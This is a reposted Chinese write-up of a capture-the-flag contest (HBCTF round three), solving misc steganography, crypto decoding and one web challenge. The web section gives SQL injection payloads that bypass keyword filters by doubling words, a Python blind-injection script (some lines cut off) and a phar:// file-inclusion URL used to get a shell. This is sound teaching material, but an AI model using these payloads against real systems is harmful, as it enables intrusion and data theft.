HBCTF第三场WP

转载

Sakura63 于 2017-05-08 19:24:35 发布 3369 收藏 3
分类专栏： CTF 文章标签： CTF wp


CTF 专栏收录该内容
3 篇文章 0 订阅
订阅专栏

HBCTF第三场WP

dr34m 2017-05-05 共642人阅读 共0个回复

Misc

乍得-签到

题作者：Pcat WriteUp作者：Pcat

原题下载：http://hbctf-1252906577.costj.myqcloud.com/misc/qd.zip(备用地址)

这图有2帧，第二帧里就有flag。而这签到题也是有一个坑点，就是我的后缀名是写.jpg而不是.gif，这样会导致一些图片播放器会以jpg播放（如win10默认的播放器），而ps会直接打不开。只要用winhex打开看到gif头，修改后缀名即可，或者你正好使用了可以识别gif头来播放的图片播放器也可以轻松签到过关。 ps，如果是用stegsolve，则"Anylyse"→"Frame Brower"就可以看到有2帧。

苏丹-Symmetric XY

题作者：Pcat WriteUp作者：Pcat

原题下载：http://hbctf-1252906577.costj.myqcloud.com/misc/SymmetricXY.txt（备用地址）

首先这题的介绍是杂项题，而不是密码题，所以不要绞尽心思的往密码学去想。题目为Symmetric XY，Symmetric为对称的意思，后面有XY，如果回忆起中学数学的话，就不妨大胆的联想到X轴对称和Y轴对称 题目的文本内容为55*7的大写字母，只有大写字母，题目又说对称，那么就从字母对称下手吧。 X轴对称 BCDEKHIOX Y轴对称 AMTWUVYHIOX 我们先保留X轴对称的字母（这操作很简单，用正则替换即可） 在Sublime的替换里勾选上正则，把[^BCDEKHIOX\n]替换为空格，得到下面字符（使用Sublime也有一个好处就是等宽字体），如下图（图中用了notepad++）：

这个就是HBCTF{X

再ctrl+z撤回，再进行保留Y轴对称的字母，把[^AMTWUVYHIOX\n]正则替换为空格，得到

这是IAOYAO}把前后连在一起就是HBCTF{XIAOYAO}

阿尔及利亚-QR_NO

题作者：Pcat WriteUp作者：Pcat

原题下载：http://hbctf-1252906577.costj.myqcloud.com/misc/qr_no.zip（备用地址）

在题目里我也是尽量给出tip，例如QR和NO，QR大家都知道是二维码，那么NO是什么呢？另外描述里说“给你一张图玩玩”。玩玩？玩什么？玩游戏么？是的，本题就是玩一款经典游戏。先把zip解压后是一张png，打开来看：图片中间是logo，不影响扫描，但在右边还有2个图片（都是hbctf群的群图标的一部分，只不过一张反色了）在干扰，导致直接扫描不出。表层的东西就这样，那么就看看这个png文件里有没有藏东西。

binwalk看得是懵逼，再上TweakPNG，

再用WinHex打开，

发现PNG的IEND结尾有一个NONO，后面还跟着IHDR，而且文件底部还有一个IEND，所以把NONO的4E4F4E4F修改为PNG头的89504E47，然后再分离出2个png文件（这一步你可以使用winhex或者foremost等等都可以）

第二图打开为

这里有一个9*9的空白区域，再去看看之前的qr图，里面缺失的2个图块都是9*9，那么猜想下这里是要求完成图块（建议用photoshop去填充色块）再去粘贴到之前的qr图上。这里其实就是一个经典游戏nonograms（自己百度去吧），为了给大家兴致，我就不贴完成的样子，把完成的9*9抠下来，缩放到72像素*72像素，然后粘贴到qr图那个反色的图标上面（这里我之所以采用反色也是为了提醒就是粘贴在这里，至于那个不反色的图标由于二维码的容差性而不影响其扫描）（ps，由于二维码的容差性很好，那个nonograms图填错一些也没事的。）

Crypto

尼日尔-simpleAES

题作者：Pcat WriteUp作者：Pcat

原题下载：http://hbctf-1252906577.costj.myqcloud.com/crypto/simpleAES.py（备用地址）

这题其实不难，就是涉及了md5，b64，b32，DES3，AES而已，就是练练py脚本而已。直接给解密脚本。

```
Python
```

```
# -*- coding:utf8 -*-
__author__='pcat'
__blog__='http://pcat.cnblogs.com'
import re
import base64
from hashlib import md5
try:
    from Crypto.Cipher import DES3,AES
except ImportError:
    print("Error: you must install the PyCrypto")
    print("http://www.cnblogs.com/pcat/p/6014575.html")
    exit()
def getkey():
    #因为一开始的key是经过encode的，所以爆破的字符集只需要十六进制即可
    cset='0123456789abcdef'
    #根据正则^5.*c.{2}54$
    key_model='5%s%sc%s%s54add_salt'
    for a in cset:
        for b in cset:
            for c in cset:
                for d in cset:
                    key=key_model %(a,b,c,d)
                    t=md5(key).hexdigest()
                    if t=='a99c2b0ee8de34063367811c7cf2ca69':
                        return key
def decrypt():
    key=getkey()
    obj=DES3.new(key,DES3.MODE_ECB)
    cipher='mI4Os9etbYtcNJ6zF8psQA=='
    message=obj.decrypt(base64.b64decode(cipher))

    IV=''.join(chr(i) for i in range(16))
    obj=AES.new(message,AES.MODE_CBC,IV)
    cipher2='4XCK5GX2TDXJQBHFHNUHLXKCEA4QZBX5ZWT7AAA45HHIGFOIBXZA===='
    flag=obj.decrypt(base64.b32decode(cipher2))
    print flag
    pass
if __name__ == '__main__':
    decrypt()
```

埃及-九重妖塔

题作者：逍遥自在 WriteUp作者：逍遥自在

原题下载：http://hbctf-1252906577.costj.myqcloud.com/crypto/9cyt.zip（备用地址）

1. 莫斯密码很熟悉，解得

%5cu0047%5cu0058%5cu0041%5cu0041%5cu0047%5cu004a%5cu0041%5cu0041%5cu0056%5cu0047

%5cu0041%5cu0042%5cu0047%5cu0056%5cu0057%5cu005a%5cu0042%5cu0057%5cu0044%5cu0041

%5cu0048%5cu005a%5cu005a%5cu0058%5cu0041%5cu0041%5cu0047%5cu004a%5cu0044%5cu005a

%5cu005a%5cu0058%5cu0041%5cu0041%5cu0048%5cu0041%5cu0048%5cu0047%5cu0047%5cu006c

%5cu0076%5cu0077%5cu0046%5cu0050%5cu0052%5cu0077%5cu0049%5cu0079%5cu006c%5cu0077

%5cu0046%5cu0046%5cu0052%5cu0047%5cu0046%5cu006c%5cu0076%5cu004e%5cu0048%5cu0047

%5cu0047%5cu006c%5cu0076%5cu0077%5cu0053%5cu0052%5cu0053%5cu0047%5cu0048%5cu006c

%5cu0076%5cu0076%5cu0052%5cu0054%5cu0062%5cu0074%5cu0048%5cu0045%5cu004f%5cu0048

%5cu0078%5cu005a%5cu0067%5cu0052%5cu0078%5cu0044%5cu0052%5cu004c%5cu0049%5cu0049

%5cu006a%5cu0074%5cu0030%5cu0048%5cu0063%5cu0049%5cu006b%5cu0078%5cu0052%5cu0045

%5cu004f%5cu004c%5cu0075%5cu0045%5cu0063%5cu0034%5cu0048%5cu0048%5cu006a%5cu0066

%5cu004f%5cu0078%5cu0031%5cu0075%5cu0049%5cu0054%5cu0038%5cu0034%5cu0075%5cu0050

%5cu006a%5cu0067%5cu0063%5cu0033%5cu0032%5cu005a%5cu004f%5cu0030%5cu006d%5cu0076

%5cu0079%5cu0050%5cu004f%5cu0052%5cu006d%5cu007a%5cu0049%5cu0054%5cu0038%5cu004c

%5cu004f%5cu0048%5cu006b%5cu007a%5cu0062%5cu0079%5cu0064%5cu0074

2. 看到%，就想想 URL 啊，解下吧

\u0047\u0058\u0041\u0041\u0047\u004a\u0041\u0041\u0056\u0047\u0041\u0042\u0047\u0056\u0057\u005a\u0042\u0057\u0044\u0041\u0048\u005a\u005a\u0058\u0041\u0041\u0047\u004a\u0044\u005a\u005a\u0058\u0041\u0041\u0048\u0041\u0048\u0047\u0047\u006c\u0076\u0077\u0046\u0050\u0052\u0077\u0049\u0079\u006c\u0077\u0046\u0046\u0052\u0047\u0046\u006c\u0076\u004e\u0048\u0047\u0047\u006c\u0076\u0077\u0053\u0052\u0053\u0047\u0048\u006c\u0076\u0076\u0052\u0054\u0062\u0074\u0048\u0045\u004f\u0048\u0078\u005a\u0067\u0052\u0078\u0044\u0052\u004c\u0049\u0049\u006a\u0074\u0030\u0048\u0063\u0049\u006b\u0078\u0052\u0045\u004f\u004c\u0075\u0045\u0063\u0034\u0048\u0048\u006a\u0066\u004f\u0078\u0031\u0075\u0049\u0054\u0038\u0034\u0075\u0050\u006a\u0067\u0063\u0033\u0032\u005a\u004f\u0030\u006d\u0076\u0079\u0050\u004f\u0052\u006d\u007a\u0049\u0054\u0038\u004c\u004f\u0048\u006b\u007a\u0062\u0079\u0064\u0074

3. 看到\u 还想啥呢？unicode 吧，

GXAAGJAAVGABGVWZBWDAHZZXAAGJDZZXAAHAHGGlvwFPRwIylwFFRGFlvNHGGlvwSRSGHlvvRTbtHEOH

xZgRxDRLIIjt0HcIkxREOLuEc4HHjfOx1uIT84uPjgc32ZO0mvyPORmzIT8LOHkzbydt

4. 第四关是坑点的到来了，这关考的是栅栏密码，len 是 148，所以有四种，都列出来吧

5. 看起了是 base64 吧，可是又有点不一样啊，试试最常见的 rot13 呗

6.4 个一起 base64 解密呗，嗖嗖的，看其中有一个还是挺像的，提出来吧

7.看起了好像 uuencode 啊，试试去吧

8.中间有加号，这是什么鬼啊，base64 之前考过了不是，试试 xxencode 吧

9.这个 soeasy 了，base16。flag 到手，撤退

WEB

沙特阿拉伯-大美西安

题作者：Wonderkun WriteUp作者：Wonderkun

题目地址：http://web150.ctftools.com/index.php?file=login

注册一个账号进入之后,发现download页面的收藏功能存在整数型sql注入 download的过程是用文件id到数据库中查找文件路径,然后读取文件返回. 所以可以用union联合注入,修改文件名,下载别的文件. 这里有过滤,双写可以绕过.

```
image=888%20ununionion%20selselectect%200x696e6465782e706870&image_download=%E6%94%B6%E8%97%8F
```

就可以下载index.php,然后利用次方法下载所有的文件,进行代码审计. 发现index.php 存在文件包含漏洞,但是限定了后缀必须是 .php文件 所以思路是利用php的phar协议绕过,但是却没有文件上传路径,所以需要利用注入获取文件名. 由于过滤了(),所以需要利用union盲注,来找文件名. 具体怎么union盲注,参考这里http://wonderkun.cc/index.html/?p=547 提供一个python的exp

Python

```
#!/usr/bin/python
# coding:utf-8
import requests
def getFilename():
    data="image=2%20aandnd%20image_name%20lilikeke%200x74657374%20ununionion%20selselectect%200x{filena
    url = "http://web150.ctftools.com/downfile.php"
    headers = {
        "Content-Type":"application/x-www-form-urlencoded",
        "Cookie":"PHPSESSID=k6to46unk90e733r47qdqh8ll7",
        "User-Agent":"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.
    }
    randStr="0123456789abcdefghijklmnopqrstuvwxyz{"
    fileName = "./Up10aDs/"
    for _ in range(33):
        print "[*]",fileName
        for i in range(len(randStr)):
            # print i
            tmpFileName = fileName+randStr[i]
            proxies = {"http":"127.0.0.1:8080"}
            res = requests.post(url,data=data.format(filename=tmpFileName.encode("hex")),headers=header
            # print res.text
            if "file may be deleted" not in res.text:
                fileName = fileName + randStr[i-1]
                break
if __name__ == '__main__':
    getFilename()
```

计算出filename为:[*] ./Up10aDs/y9c8v9ow3s6ans5o8oy5u3qnsdnckeva 加上后缀名为自己上传文件的后缀名,就是文件名,所以文件名是 ./Up10aDs/y9c8v9ow3s6ans5o8oy5u3qnsdnckeva.png 包含此文件就可以getshell了.

```
http://web150.ctftools.com/index.php?file=phar://Up10aDs/y9c8v9ow3s6ans5o8oy5u3qnsdnckeva.png/1
```

在文件F1AgIsH3r3G00d.php读取到flag

```
$flag = "flag{f1a4628ee1e9dccfdc511f0490c73397}";
```